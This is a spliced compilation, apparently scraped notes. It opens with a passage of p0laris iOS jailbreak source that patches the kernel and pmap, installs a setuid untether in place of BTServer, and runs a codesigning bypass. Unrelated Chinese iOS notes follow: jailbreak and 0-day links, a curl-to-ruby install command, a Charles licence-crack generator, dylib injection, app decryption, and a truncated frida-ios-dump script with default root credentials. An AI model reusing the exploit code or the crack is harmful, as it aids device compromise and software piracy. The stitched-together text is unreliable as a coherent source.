	chmod("/untether/p0laris",													04755);
	chmod("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs",	04755);
	chmod("/untether/get_code_exec",											04755);
	
	/*
	 *  don't remove original wifiFirmwareLoader in case we're re-installing,
	 *  only rename original if the path used for the "backup", so to speak
	 *  exists.
	 */
	if (!exists("/usr/sbin/BTServer_"))
		rename("/usr/sbin/BTServer",	"/usr/sbin/BTServer_");
	
	symlink("/untether/get_code_exec",				"/usr/sbin/BTServer");
	
	/*
	 *  more chmod'ing
	 */
	chown("/usr/sbin/BTServer",	501, 501);
	chown("/untether/get_code_exec",			501, 501);
	chown("/usr/local/bin/scripter",			501, 501);
	
	chmod("/usr/sbin/BTServer",	04755);
	chmod("/untether/get_code_exec",			04755);
	chmod("/usr/local/bin/scripter",			04755);
	
	/*
	 *  logging, also so the patchfinder can grab offsets from the filesystem,
	 *  instead of patchfinding every time, which is slow...
	 */
	NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
	NSString *documentsDirectory = [paths firstObject];
	char* doc_dir = (char*)[documentsDirectory UTF8String];
	
	symlink(doc_dir, "/untether/docs");
	
#if DO_CSBYPASS
	/*
	 *  logs
	 */
	lprintf("SPV vs CODESIGNING!\n");
	lprintf("FIGHT!\n");
	
	/*
	 * find csbypass in the app container
	 */
	char* csbypass = bundle_path("csbypass");
	
	/*
	 *  copy it to the untether folder & make it executable
	 */
	run_cmd("/bin/cp %s /untether/csbypass", csbypass);
	run_cmd("chmod 755 /untether/csbypass");
	
	/*
	 *  find game over in the app container
	 */
	char* game_over_armv7 = bundle_path("game_over_armv7.dylib1");
	
	/*
	 *  copy it to the untether folder & make it executable
	 */
	run_cmd("/bin/cp %s /untether/game_over_armv7.dylib1", game_over_armv7);
	run_cmd("chmod 755 /untether/game_over_armv7.dylib1");
	
	/*
	 *  get time
	 */
	time_t val = time(NULL);
	
	/*
	 *  write time for offsetting
	 */
	FILE* fp_ = fopen("/untether/offset", "wb");
	fwrite(&val, sizeof(val), 1, fp_);
	fclose(fp);
	
	/*
	 *  set time to zero
	 */
	lprintf("[*] __OFFSET *should* equal %ld", val);
	run_cmd("/bin/date -s @0");
	
	/*
	 *  nuke timed
	 */
	run_cmd("mv /System/Library/LaunchDaemons/com.apple.timed.plist /System/Library/LaunchDaemons/com.apple.timed.plist_");
	
	/*
	 *  0wn codesigning
	 */
	_0wn();
	
	/*
	 *  taunting...
	 */
	lprintf("[*] game over, codesigning. would you like to try again?");
#endif
	
	lprintf("[*] untether should be haxd on now");
	
	/*
	 *  sync, if we're already jailbroken
	 *  and the untether is now triggering,
	 *  we might panic to all hell and back
	 */
	sync();
	sync();
	sync();
	sync();
	sync();
	
	/* todo */
	
	return ret;
}
#else
#error This isn't enabled anymore, censored for public release: the mount bug was chosen. Nice job being curious, though! :)
#endif
#endif

bool extract_bootstrap(void) {
	bool re_extracting = false;
	bool ret = true;
	
	if (exists("/.p0laris") || exists("/.installed_home_depot")) {
		re_extracting = true;
		lprintf("k? guess we're re-extracting then. your choice, i guess? ...");
	}
	
	progress_ui("getting bundle paths");
	char* tar_path = bundle_path("tar");
	char* launchctl_path = bundle_path("launchctl");
	char* cydia_path = bundle_path("Cydia-9.0r4-Raw.tar");
	
	chmod(tar_path, 0777);
	
	/*
	 *  extract bootstrap
	 */
	progress_ui("extracting, this might take a while");
	chmod(tar_path, 0777);
	char* argv_[] = {tar_path, "-xf", cydia_path, "-C", "/", "--preserve-permissions", NULL};
	easy_spawn(tar_path, argv_);
	
	/*
	 *  touch cydia_no_stash (disable stashing, not included yet)
	 */
	progress_ui("disabling stashing");
	run_cmd("/bin/touch /.cydia_no_stash");
	
	/*
	 *  copy tar
	 */
	progress_ui("copying tar");
	run_cmd("/bin/cp -p %s /bin/tar", tar_path);
	
	/*
	 *  copy launchctl
	 */
	progress_ui("copying launchctl");
	run_cmd("/bin/cp -p %s /bin/launchctl", launchctl_path);
	
	/*
	 *  make them exectuable
	 */
	chmod("/bin/tar", 0755);
	chmod("/bin/launchctl", 0755);
	
	/*
	 *  i don't remember where this is from, Home Depot / Phoenix?
	 */
	chmod("/private", 0755);
	chmod("/private/var", 0755);
	chmod("/private/var/mobile", 0711);
	chmod("/private/var/mobile/Library", 0711);
	chmod("/private/var/mobile/Library/Preferences", 0755);
	
	mkdir("/Library/LaunchDaemons", 0777);
	
#if INSTALL_UNTETHER
	progress_ui("installing untether");
	install_untether();
	progress_ui("installed untether");
#endif
	
	if (!exists("/.p0laris")) {
		FILE* fp = fopen("/.p0laris", "w");
		fprintf(fp, "please don't delete this, the sky will fall and stuff or something\n"
				"  - p0laris, with love from spv.\n");
		fclose(fp);
	}
	
	sync();
	sync();
	sync();
	sync();
	sync();
	
	return ret;
}

#if DO_CSBYPASS
/*
 *  codesigning exploit is unfinished
 */
bool csbypass_wrapper(void) {
	bool ret = true;
	
	bool _0wnd = _0wn();
	lprintf("codesigning 0wnd: %s", _0wnd ? "true" : "false");
	
	sync();
	sync();
	sync();
	sync();
	sync();
	
#if 0
	uint32_t* comm_page_time = (uint32_t*)0xffff4048;
	while (*comm_page_time < 1000000000) {
		usleep(100000);
	}
	//	sleep(2);
#endif
	
	return ret;
}
#endif

bool post_jailbreak(void) {
	bool need_uicache = false;
	bool ret = true;
	
	if (global_untethered) {
		run_cmd("/usr/sbin/BTServer_");
#if DO_CSBYPASS
		csbypass_wrapper();
#endif
	}
	
	progress_ui("remounting /");
	char* nmr = strdup("/dev/disk0s1s1");
	int mntr = mount("hfs", "/", 0x10000, &nmr);
	lprintf("mount(...); = %d\n", mntr);
	
#if !FIRST_TIME_OVERRIDE
	if (!exists("/.p0laris") && !exists("/.installed_home_depot")) {
#endif
		progress_ui("extracting bootstrap");
		extract_bootstrap();
		need_uicache = true;
#if !FIRST_TIME_OVERRIDE
	}
#endif
	
#if INSTALL_UNTETHER
	if (!exists("/untether/p0laris")) {
		if (exists("/untether")) {
			progress_ui("fixing untether");
		} else {
			progress_ui("installing untether");
		}
		install_untether();
	}
#endif
	
	/*
	 *  doubleH3lix
	 */
	progress_ui("fixing springboard");
	NSMutableDictionary *md = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
	
	[md setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
	
	[md writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES];
	
	progress_ui("restarting cfprefsd");
	run_cmd("/usr/bin/killall -9 cfprefsd &");
	
#if !FIRST_TIME_OVERRIDE
	if (need_uicache) {
#endif
		progress_ui("running uicache");
		run_cmd("su -c uicache mobile &");
#if !FIRST_TIME_OVERRIDE
	}
#endif
	
	progress_ui("loading launch daemons");
	run_cmd("/bin/launchctl load /Library/LaunchDaemons/*");
	run_cmd("/etc/rc.d/*");
	
	progress_ui("respringing");
	run_cmd("(killall -9 backboardd) &");
	
	if (!global_untethered) {
#if DO_CSBYPASS
		csbypass_wrapper();
#endif
	}
	
	return ret;
}

#define DUMP_LENGTH (32 * 1024 * 1024)

bool jailbreak(void) {
#if DUMP_KERNEL
	NSString *ns_doc_dir	= NULL;
#endif
	
	uint32_t before		 = -1;
	uint32_t after		  = -1;
	
#if DUMP_KERNEL
	NSArray *paths		  = NULL;
#endif
	
#if DUMP_KERNEL
	char* open_this		 = NULL;
	char* doc_dir		   = NULL;
	char* dump			  = NULL;
#endif
	
	bool ret				= false;
	
	progress_ui("exploiting kernel");
	
	tfp0 = get_kernel_task();
	
	lprintf("I live in a constant state of fear and misery");
	lprintf("Do you miss me anymore?");
	lprintf("And I don't even notice when it hurts anymore");
	lprintf("Anymore, anymore, anymore");
	
	progress_ui("exploited kernel");
	
	kernel_base = kbase();
	kaslr_slide = kernel_base - UNSLID_BASE;
	
#if DUMP_KERNEL
	dump = malloc(DUMP_LENGTH);
	
	dump_kernel(dump, DUMP_LENGTH);
	
	paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
												NSUserDomainMask,
												YES);
	ns_doc_dir = [paths firstObject];
	doc_dir = (char*)[ns_doc_dir UTF8String];
	asprintf(&open_this,
			 "%s/kernel_dump-%ld-0x%08x.bin",
			 doc_dir,
			 time(NULL),
			 kaslr_slide);
	
	FILE *f = fopen(open_this, "w");
	fwrite(dump,
		   1,
		   (32 * 1024 * 1024),
		   f);
	fclose(f);
	
	zfree(&dump);
	
	goto done;
#endif
	
#if ENABLE_DEBUG
	progress("got tfp0! tfp0=0x%x, kernel_base=0x%08x, kaslr_slide=0x%08x",
			 tfp0,
			 kernel_base,
			 kaslr_slide);
#endif
	
	progress_ui("patching pmap");
	patch_kernel_pmap();
	progress("patched pmap");
	
	progress_ui("checking pmap patch");
	
	before	= kread_uint32(kernel_base);
	kwrite_uint32(kernel_base, 0x41424344);
	after	= kread_uint32(kernel_base);
	kwrite_uint32(kernel_base, before);
	
#if ENABLE_DEBUG
	progress("kbase before: 0x%x, kbase after: 0x%x",
			 before,
			 after);
#endif
	
	/*
	 *  i commented out "before == 0xfeedface" as at times,
	 *  i will test kernel patches and/or other functionality
	 *  on an already jailbroken device, and don't feel like rebooting.
	 *  also so that you can re-install the untether without rebooting
	 *  after installing the application :P
	 */
	
	if (before != after && /* before == 0xfeedface && */ after == 0x41424344) {
		progress_ui("pmap patched!");
	} else {
		progress_ui("pmap patch failed");
		goto done;
	}
	
	progress_ui("cleaning up the kernel");
	exploit_cleanup(tfp0);
	
	progress_ui("patching kernel");
	if (!patch_kernel())
		goto done;
	progress_ui("patched kernel");
	
	progress_ui("doing post jailbreak work");
	post_jailbreak();
	
	/*
	 *  note: todo: save original uid in case unsandboxed root daemon
	 */
	
	kwrite_uint32(myproc + 0xa4, ourcred);
	setuid(501);
	
#if BTSERVER_USED
	if (global_untethered)
		run_cmd("launchctl bsexec .. /bin/sh -c \"(while true; do /usr/sbin/BTServer_; done) &\"");
#endif
	
#if UNPATCH_PMAP
	progress("unpatching pmap");
	pmap_unpatch();
	progress("unpatched pmap");
#endif
	
	ret = true;
	
	zfree(&offsets);
	
	syslog(LOG_SYSLOG, "we out here");
	
done:
	progress_ui("cleaning up");
	exploit_cleanup(tfp0);
	
	return ret;
}

bool _jailbreak(void) {
	return jailbreak();
}

奥德赛Odyssey iOS13.5.1-13.7越狱工具

https://theodyssey.dev/

iOS 性能优化梳理:

基本工具、业务优化、内存优化、卡顿优化、布局优化、电量优化、 安装包瘦身、启动优化、网络优化等

iOS 官方文档

iOS 性能优化相关书籍

Instruments 工具相关

GMTC-2018 PPT

综合篇

内存优化

卡顿优化

布局优化

TODO:

电量优化

启动优化

体积优化

网络优化

编译优化

APM

调试 & Crash

相关开源库

网络
内存
卡顿
瘦身

APM

-----------------------------------

关于4个 0day iOS 漏洞

Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,

吐槽苹果没有署名感谢,最关键是苹果没有给赏金!

作者怒了, 一口气开源4个漏洞 https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day

以下是作者披露文章:

文章: Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр https://habr.com/ru/post/579714/

-----------------------------------

二、事件始末

从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),

目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。

作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,

只在 iOS 14.7 修复了一个,但苹果在iOS 14.7 安全性内容

更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,

但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!

0-day 漏洞

0day,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。

-----------------------------------

iOS平台付费软件篇 (iOS)

评分名称功能简述单价测评
★★★★[Camera+]替代原生拍照软件$1.99#
★★★★[1Password]密码管理&同步$17.99#
★★★★[Tweetbot]Twitter 客户端$2.99#
★★★★[Weico Pro]新浪微博第三方客户端¥6#
★★★★[iTranslate Voice]翻译利器$4.99#
★★★★[Launch Center Pro]快速启动&书签$4.99#
★★★★[Clear+]轻量级 To-Do List$4.99#
★★★★[Drafts 4]文字生产力$9.99#
★★★★[MoneyWiz 2]记账软件$4.99#
★★★☆[Todo]重量级 To-Do GTD$4.99#
★★★☆[Reeder]RSS阅读器$4.99#
★★★☆[Omnifocus]还是那个GTD$19.99#
★★★☆[Fantastical]日历和提醒工具$3.99#
★★★☆[GoodReader]文档管理、阅读工具$4.99#
★★★[Sleep Cycle]智能闹钟$1.99#
★★★[Afterlight]照片处理软件$0.99#
★★★[Moves]健康计步类$2.99#
★★★[TextExpander]快速输入/扩展增强工具$4.99#
★★★[Pastebot]云剪切板$3.99#
★★★[Byword]Markdown写作$4.99#
★★★[Day One]日记软件$4.99#
★★★[Solar Walk]太阳系模型$2.99#
★★★[OmniGraffle]制图制表$49.99#
★★★[随手记专业版]记账软件¥6#
★★★[DailyCost]记账软件$1.99#
★★★[Splashtop]用iOS远程控制计算机$9.99#
★★★[Things]还是GTD$9.99#
★★★[Runtastic Pro]跑步健康类$4.99#
★★★[Wolfram]计算和知识库$2.99#
★★★[Solar]精美天气应用$0.99#
★★★[Writer Pro]个人写作软件$19.99#
★★★[Editorial]MarkDown书写软件$6.99#
★★★[Notability]日记软件$2.99#
★★★[Gneo]GTD:To-do类$9.99#
★★★[Mextures]照片效果处理软件$1.99#
★★★[Vesper]收集想法笔记$4.99#
★★★[TeeVee]追美剧、TV Show等$1.99#
★★★[Air Display]用iOS设备做为扩展屏$9.99#
★★★[Instaframe Pro]多图合一,拼合工具$1.99#
★★★[OmmWriter]静心写作$4.99#
★★★[Prompt]SSH远程Host管理客户端$7.99#
★★★[iA Writer]写作工具$4.99#
★★★[StockWatch]股票行情查看$5.99#
★★★[Money Monitor]金融理财记账工具$1.99#
★★★[Living Earth Clock]全球时间工具$2.99#
★★★[Sync for Firefox]如果你是火狐用户$0.99#
★★★[Screens VNC]远程桌面工具VNC$19.99#
★★★[Mobile Mouse]用手机做为鼠标或触控板$1.99#
★★★[Live Cams Pro]使用查看全球数以千计的公共摄像头$3.99#
★★★[FileBrowser]查看远程电脑的文件$4.99#
★★★[TextGrabber]OCR图片文字识别(图转字)工具$5.99#
★★★[欧路词典 Pro]翻译软件,支持离线词库,屏幕取词¥18#
★★★[Mercury Browser Pro]浏览器$0.99#
★★★[Air Video]移动端播放电脑上的视频流,无需拷贝$2.99#
★★★MacID手机解锁 Mac, iOS 和 macOS 间剪贴板,itunes 简单控制$3.99#

-----------------------------------

iOS群控实现 - WebDriverAgent

iPhone群控测试开发教程

WebDriverAgent是用于iOS的WebDriver服务器实现,
可用于远程控制iOS设备。它允许您启动和终止应用程序,
点击并滚动视图或确认屏幕上是否存在视图。
这使其成为用于应用程序端到端测试或通用设备自动化的理想工具。

它通过链接XCTest.framework和调用Apple的API
来直接在设备上执行命令来工作。
WebDriverAgent是Facebook开发和用于端到端测试的


安装 homebrew
homebrew 是 Mac OS 下最优秀的包管理工具,没有之一。
xcode-select --install ruby -e "$(curl -fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)"

安装 python
脚本语言 python 用来编写模拟的用户操作。
brew install python3

安装 libimobiledevice
libimobiledevice 是一个使用原生协议与苹果iOS设备进行通信的库。
通过这个库我们的 Mac OS 能够轻松获得 iOS 设备的信息。
brew install --HEAD libimobiledevice


查看 iOS 设备日志


idevicesyslog
查看链接设备的UDID


idevice_id --list
查看设备信息


ideviceinfo
获取设备时间


idevicedate
获取设备名称


idevicename
端口转发


iproxy XXXX YYYY
屏幕截图
idevicescreenshot

安装 Carthage

Carthage 是一款iOS项目依赖管理工具,与 Cocoapods 有着相似的功能,可以帮助你方便的管理三方依赖。它会把三方依赖编译成 framework,以 framework 的形式将三方依赖加入到项目中进行使用和管理。

WebDriverAgent 本身使用了 Carthage 管理项目依赖,因此需要提前安装 Carthage。

brew install carthage

安装 WebDriverAgent

WebDriverAgent 是 Facebook 推出的一款 iOS 移动测试框架,能够支持模拟器以及真机。

WebDriverAgent 在 iOS 端实现了一个 WebDriver server ,借助这个 server 我们可以远程控制 iOS 设备。你可以启动、杀死应用,点击、滚动视图,或者确定页面展示是否正确。

从 github 克隆 WebDriverAgent 的源码。

git clone https://github.com/facebook/WebDriverAgent.git

运行初始化脚本,确保之前已经安装过 Carthage。

iPhone群控测试开发教程
https://mp.weixin.qq.com/s?__biz=MjM5MjUxODExMQ==&mid=2652393753&idx=1&sn=1edb1a7db6b4225dbd4b6b4df8af96f7&chksm=bd49eba98a3e62bf45ec72d14dd0640268bef05efb4489edd3c0c4803049e50f369fa98c4711&mpshare=1&scene=22&srcid=11160hQ6GGnxFSQxIxb5Yf2N&sharer_sharetime=1637022101829&sharer_shareid=7a5b79e2ee76a21460e7fe67bd1a6b50#rd

自定义创建.dylib文件

1.创建新工程 , 选择OS X ->Framework&Library-> Library

2.TARGETS ->Build Settings -> Installation Directory 修改成@executable_path/

3.TARGETS -> Build Settings -> Base SDK 改成Latest iOS或者iOS X.X

4.PROJECT->Info->iOS Deployment Target 选择版本支持

5.Project->Build Settings ->Base SDK 改成Latest iOS或者iOS X.X6.选择证书

7.选择设备, 运行

越狱iOS系统内存限制修改

在 iOS 中重要的监控网络进程内存使用量和停止溢出限制的边缘配置在它的配置 Jetsam 中有相关的内存做限制的, 它的一般文件在/System/Library/LaunchDaemons/com.apple.jetsamproperties.{Model}.plist, 模型在各个手机上可能里面对 VPN 进程做限制的条目是:

			<key>com.apple.networkextension.packet-tunnel</key>
			<dict>
				<key>ActiveHardMemoryLimit</key>
				<integer>15</integer>
				<key>InactiveHardMemoryLimit</key>
				<integer>15</integer>
				<key>JetsamPriority</key>
				<integer>14</integer>
			</dict>

打开文件后搜索packet-tunnel找到,其中有两个15就是 iOS 对 VPN 进程的内存限制值 15MB。

要修改iOS VPN进程的内存限制,我们很容易复制iFile等文件管理工具找到这些配置文件,到电脑上然后对相关数值进行修改,修改后覆盖原始文件,恢复一下手机智能。

打开要这些plist文件需要一些特殊的编辑器;如果你用的是macOS,且安装有Xcode中,那就可以直接双击打开,

要修改的很明显,就是要把内容改大就行,比如把原来的15MB的限制改为30MB的限制:

			<key>com.apple.networkextension.packet-tunnel</key>
			<dict>
				<key>ActiveHardMemoryLimit</key>
				<integer>30</integer>
				<key>InactiveHardMemoryLimit</key>
				<integer>30</integer>
				<key>JetsamPriority</key>
				<integer>14</integer>
			</dict>

Charles 抓包工具

Charles激活码: https://www.zzzmode.com/mytools/charles/

安装使用最新版,官方下载地址 https://www.charlesproxy.com/download
此工具用于计算Charles激活码,下载代码 ,在线运行代码:https://play.golang.org/p/Qtt2CmHbTzU
blog介绍: https://blog.zzzmode.com/2017/05/16/charles-4.0.2-cracked
输入RegisterName(此名称随意,用于显示 Registered to xxx),点击生成计算出注册码,打开Charles输入注册码即可。

dyld 苹果操作系统的动态链接器

dyld和操作系统的关系准确来说,操作系统通过映射的方式将它加载到进程的地址空间中。

操作系统加载完dyld后,就把控制权交给dyld。当dyld得到控制权后,其自身开始一系列的初始化操作,然后后根据设置的环境变量,
对可执行文件进行链接工作,这个链接步骤称为动态链接(dynamic link)。
当所有链接工作完成后,dyld会把控制权交给可执行文件的入口,程序开始执行。
那可执行文件又是什么,既然有动态链接,是否也有静态链接?是的,静态链接就是生成可执行文件的一个重要步骤。

2.2 可执行文件
可执行文件是程序的源代码文件经过预编译、编译、汇编生成的目标文件,进一步通过链接合并成可供系统执行的文件,
也就是mach.o文件。可执行文件需要被装载进内存,才能被系统读取。

这是mach.o文件结构的官方图。其主要分为三个部分:

Header(头部信息),说明整个Mach.o文件的基本信息
Load Commands(加载命令),说明系统应该怎么加载文件中的数据
Data(文件数据),包含符号表,代码签名,程序代码等数据。

可执行文件查看步骤:
在项目Products文件夹下的.app结尾的文件 Show In Finder,然后显示包内容
但是想要可视化可执行文件,还需要借助第三方软件MachOView。
可执行文件生成的步骤如果展开来,不是三言两语能讲清楚的,这里只做个简单的介绍:
预编译:**预编译的过程就是处理源代码文件中以"#"开头的预编译指令,将其展开。
**
编译:编译的过程就是把预编译后文件进一步做词法分析,语法分析,生成抽象语法树,经过语义分析后转换成中间代码,优化后生成汇编代码文件。
汇编:汇编的过程就是把汇编代码转变成机器可以执行的指令。
链接:链接的过程就是把各个源代码模块相互引用的部分进行处理,让它们之间可以正确链接。这里的链接即为静态链接。
装载:** 装载的过程就是把程序执行所需要的指令和数据都装入内存中**

静态链接是编译时的链接工作,动态链接是运行时的链接工作,虽然它们做的事很相似,但是不可混为一谈。

dyld2:在iOS13之前使用的版本
dyld3:在iOS13及之后使用的版本,iOS11之前的系统库优化已经使用

dyld2在启动时做了大量的计算和查找操作,系统为了优化启动时间,设计了dyld3,dyld3的接口和dyld2是兼容的,因此开发者没有任何感知。
dyld3的特点是进程外的且有缓存的,启动app前把很多耗时操作提前处理好了。据统计,在冷启动时,dyld3比dyld2快20%。
但是由于dyld3是未开源的,因此本文是基于dyld2展开流程分析的,这些工作流程在dyld3也是存在的,可能只是时机会有所不同。

ASLR(Address space layout randomization):地址空间布局随机化,虚拟地址在内存中会发生的偏移量。增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
PIC(Position Independent Code):程序中共享指令部分在装载时不需要因为装载地址的改变而改变,实现共享。
页错误(Page Fault):在当前页中找不到所需指令。操作系统需要计算相应页面在可执行文件中的偏移,在物理内存中分配物理页面,在虚拟页和物理页建立映射关系。程序才能从发生页面错误的位置重新执行。
延迟绑定(Lazy Binding):函数第一次被使用时才进行绑定(符号查找,重定位等)。

Clang编译器

Clang是LLVM项目中的一个子项目。它是基于LLVM架构的轻量级编译器,诞生之初是为了替代GCC,
提供更快的编译速度。它是负责编译C、C++、Objecte C语言的编译器,它属于整个LLVM架构中的编译器前端。

iOS系统响应事件机制

1.手指触碰屏幕,屏幕感应到触碰后,将事件交由IOKit处理。

2.IOKit将触摸事件封装成一个IOHIDEvent对象,并通过mach port传递给SpringBoad进程。
  mach port 进程端口,各进程之间通过它进行通信。
  SpringBoad.app 是一个系统进程,可以理解为桌面系统,可以统一管理和分发系统接收到的触摸事件。

3. SpringBoard进程因接收到触摸事件,触发了主线程runloop的source1事件源的回调。

此时SpringBoard会根据当前桌面的状态,判断应该由谁处理此次触摸事件。
因为事件发生时,你可能正在桌面上翻页,也可能正在刷微博。
若是前者(即前台无APP运行),
则触发SpringBoard本身主线程runloop的source0事件源的回调,
将事件交由桌面系统去消耗;若是后者(即有app正在前台运行),
则将触摸事件通过IPC传递给前台APP进程

iOS动态库注入方式

dylib注入也有三种方式:

1.越狱环境下, 将动态库上传到DynamicLibraries目录下

2.越狱环境下, 使用dyld中的DYLD_INSERT_LIBRARIES环境变量

3.免越狱环境下, 使用optool或者yololib工具给macho新增Load command

class-dump类对关键属性名和方法名做混淆处理 怎么办?

iOS逆向静态分析工具大概查看它的实现逻辑

静态分析工具是能够将macho文件的机器语言代码反编译成汇编代码、OC伪代码或者Swift伪代码,同时可以快速查看关键字符串信息。
这就很强大了,意味着可以通过查看方法的执行流程,判断条件等信息明白它在做什么,如果本地字符串未做混淆,
也可以直接被获取到(比如有些app秘钥明文存储本地,这就危险了)。

iOS平台主要使用的静态分析工具有Hopper和IDA。
IDA更强大,它能够翻译成的伪代码更接近于高级语言,但是它的收费也是昂贵的。
Hopper虽然不如IDA强大,但也是够用的了,所以我个人使用的是Hopper。
把Mach-O文件直接拖入Hopper,尝试搜索你感兴趣或者头文件中存在的字符,会得到如下界面

iOS逆向动态调试工具

动态调试就是将程序运行起来,通过打断点(LLDB需要)、打印等方式,查看参数、返回值、函数调用流程等信息,
通过输出界面信息迅速定位目标代码,还可以动态的修改内存和寄存器中的参数,达到绕过检测,更改执行流程等目的。
动态调试主要有LLDB和CyCript两种工具,两种都很好强大,也各有各的好,建议两种方式都需要学习。

神器FLEX界面调试UI

iOS 图形渲染

UIKit:通过UIKit提供的街交口进行布局和绘制界面,UIKit本身不具备显示能力,是通过底层的layer实现的。


CoreAnimation:本质上是一个复合引擎,主要职责在于渲染,构建和动画。CAlayer属于CoreAnimation,是界面可视化的承载。


CoreGraphics:基于Quartz的高级绘图引擎,提供了轻量级的2d渲染能力,主要是用于运行时绘图的。CG开头的类都属于CoreGraphics。


CoreImage:一个高性能的图像处理分析的框架,运行前绘制图形,主要提供图形的滤镜功能。


OpenGL ES:针对嵌入式设备,是OpenGL的子集。直接操作硬件服务,是跨平台的。


Metal:苹果自研的针对自家设备的图形渲染标准,在苹果设备上性能最优。

浅谈iOS ipa砸壳知识

App Store上下载的包
苹果会对Mach-O里面__TETX段里面的内容进行加密,如果不解密无法做后续操作。

所以砸壳dump ipa技术就应运而生
砸壳分为静态砸壳和动态砸壳

动态砸壳的原理主要是
虽然Mach-O中的__TEXT段被苹果加密了,
但是系统如果要运行程序,肯定需要对内容进行解密。
所以就不去主动的砸掉原有的加密壳,而是当应用程序打开运行后,壳被系统自动解密后,
在内存中把解密后的数据二进制文件提取出来,也就达到了砸壳的目的。
(手机端插件CrackerXI砸壳, frida-ios-dump电脑砸壳)
iOS利用CrackerXI(脱壳): https://www.jianshu.com/p/97a97ff81384

iOS AutoreleasePool原理

自动释放池本质是一个AutoreleasePoolPage结构体对象,栈结构存储,每一个AutoreleasePoolPage以双向链表形式连接
自动释放的压栈和出栈本质上是调用AutoreleasePoolPage的push和pop方法
push 压栈
判断hotPage是否存在
不存在,autoreleaseNoPage创建新hotPage,调用add方法将对象添加至page栈中
存在满了,autoreleaseFullPage初始新的page
存在没满,调用add方法将对象添加到page的next指针,next指针++
pop 出栈
执行pop出栈时,会传入push操作的返回值,即POOL_BOUNDARY的内存地址token,根据token找到哨兵对象所在,并释放之前的对象,next指针--

响应式编程

也叫做声明式编程,这是现在前端开发的主流,当然对于客户端开发的一种趋势,比如SwiftUI 。

响应式简单来说其实就是你不需要手动更新界面,只需要把界面通过代码“声明”好,然后把数据和界面的关系接好,数据更新了界面自然就更新了。
从代码层面看,对于原生开发而言,没有 xml 的布局,没有 storyboard,布局完全由代码完成,所见即所得,
同时也不会需要操作界面“对象”去进行赋值和更新,你所需要做的就是配置数据和界面的关系。

响应式开发比数据绑定或者 MVVM 不同的地方是,它每次都是重新构建和调整整个渲染树,而不是简单的对 UI 进行 visibility 操作。

python3-frida-ios-hook-jailbreak

#!/usr/bin/env python3

import sys
import codecs
import frida
import threading
import os
import shutil
import time
import argparse
import tempfile
import subprocess
import re

import paramiko
from paramiko import SSHClient
from scp import SCPClient
from tqdm import tqdm
import traceback
from log import *

script_dir = os.path.dirname(os.path.realpath(__file__))

DUMP_JS = os.path.join(script_dir, '../../methods/dump.js')

User = 'root'
Password = 'alpine'
Host = 'localhost'
Port = 2222

TEMP_DIR = tempfile.gettempdir()
PAYLOAD_DIR = 'Payload'
PAYLOAD_PATH = os.path.join(TEMP_DIR, PAYLOAD_DIR)
file_dict = {}

finished = threading.Event()


def get_usb_iphone():
    Type = 'usb'
    if int(frida.__version__.split('.')[0]) < 12:
        Type = 'tether'
    device_manager = frida.get_device_manager()
    changed = threading.Event()

    def on_changed():
        changed.set()

    device_manager.on('changed', on_changed)

    device = None
    while device is None:
        devices = [dev for dev in device_manager.enumerate_devices() if dev.type == Type]
        if len(devices) == 0:
            print('Waiting for USB device...')
            changed.wait()
        else:
            device = devices[0]

    device_manager.off('changed', on_changed)

    return device


def generate_ipa(path, display_name):
    ipa_filename = display_name + '.ipa'

    logger.info('Generating "{}"'.format(ipa_filename))
    try:
        app_name = file_dict['app']

        for key, value in file_dict.items():
            from_dir = os.path.join(path, key)
            to_dir = os.path.join(path, app_name, value)
            if key != 'app':
                shutil.move(from_dir, to_dir)

        target_dir = './' + PAYLOAD_DIR
        zip_args = ('zip', '-qr', os.path.join(os.getcwd(), ipa_filename), target_dir)
        subprocess.check_call(zip_args, cwd=TEMP_DIR)
        shutil.rmtree(PAYLOAD_PATH)
    except Exception as e:
        print(e)
        finished.set()

def on_message(message, data):
    t = tqdm(unit='B',unit_scale=True,unit_divisor=1024,miniters=1)
    last_sent = [0]

    def progress(filename, size, sent):
        t.desc = os.path.basename(filename).decode("utf-8")
        t.total = size
        t.update(sent - last_sent[0])
        last_sent[0] = 0 if size == sent else sent

    if 'payload' in message:
        payload = message['payload']
        if 'dump' in payload:
            origin_path = payload['path']
            dump_path = payload['dump']

            scp_from = dump_path
            scp_to = PAYLOAD_PATH + '/'

            with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
                scp.get(scp_from, scp_to)

            chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(dump_path))
            chmod_args = ('chmod', '655', chmod_dir)
            try:
                subprocess.check_call(chmod_args)
            except subprocess.CalledProcessError as err:
                print(err)

            index = origin_path.find('.app/')
            file_dict[os.path.basename(dump_path)] = origin_path[index + 5:]

        if 'app' in payload:
            app_path = payload['app']

            scp_from = app_path
            scp_to = PAYLOAD_PATH + '/'
            with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
                scp.get(scp_from, scp_to, recursive=True)

            chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(app_path))
            chmod_args = ('chmod', '755', chmod_dir)
            try:
                subprocess.check_call(chmod_args)
            except subprocess.CalledProcessError as err:
                print(err)

            file_dict['app'] = os.path.basename(app_path)

        if 'done' in payload:
            finished.set()
    t.close()

def compare_applications(a, b):
    a_is_running = a.pid != 0
    b_is_running = b.pid != 0
    if a_is_running == b_is_running:
